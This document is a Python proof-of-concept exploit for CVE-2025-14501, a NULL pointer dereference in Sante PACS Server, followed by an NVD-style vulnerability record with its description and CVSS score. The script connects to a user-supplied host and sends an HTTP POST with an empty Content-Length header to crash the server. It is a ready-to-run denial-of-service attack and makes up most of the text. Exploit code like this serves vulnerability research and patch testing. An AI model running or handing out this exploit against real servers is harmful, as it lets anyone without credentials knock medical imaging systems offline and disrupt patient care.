CVE-2025-14501

#!/usr/bin/env python3 """ CVE-2025-14501 PoC - Sante PACS Server NULL Pointer Dereference DoS Reference: ZDI-CAN-26770 """ import socket import sys import argparse def send_malicious_request(target_host, target_port): """ Send a malicious HTTP request with crafted Content-Length header to trigger NULL pointer dereference in Sante PACS Server. """ # Construct HTTP request with malformed Content-Length # The vulnerability occurs due to lack of proper validation # of Content-Length header value before pointer access http_request = ( "POST / HTTP/1.1\r\n" "Host: {}:{}\r\n" "Content-Length: \r\n" # Malformed/empty Content-Length "Connection: close\r\n" "\r\n" ).format(target_host, target_port) try: print(f"[*] Connecting to {target_host}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print("[*] Sending malicious HTTP request...") sock.send(http_request.encode('utf-8')) # Wait for response try: response = sock.recv(4096) print(f"[*] Received response: {response.decode('utf-8', errors='ignore')}") except socket.timeout: print("[*] No response received (possible crash)") sock.close() print("[*] Request sent successfully") return True except Exception as e: print(f"[!] Error: {e}") return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-14501 PoC') parser.add_argument('-t', '--target', required=True, help='Target host') parser.add_argument('-p', '--port', type=int, default=80, help='Target port') args = parser.parse_args() print("=" * 60) print("CVE-2025-14501 PoC - Sante PACS Server DoS") print("=" * 60) send_malicious_request(args.target, args.port) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-14501", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:51.533", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sante PACS Server HTTP Content-Length Header Handling NULL Pointer Dereference Denial-of-Service Vulnerability. This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of Sante PACS Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of HTTP Content-Length header. The issue results from the lack of proper validation of a pointer prior to accessing it. An attacker can leverage this vulnerability to create a denial-of-service condition on the system. Was ZDI-CAN-26770."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1104/", "source": "[email protected]"}]}}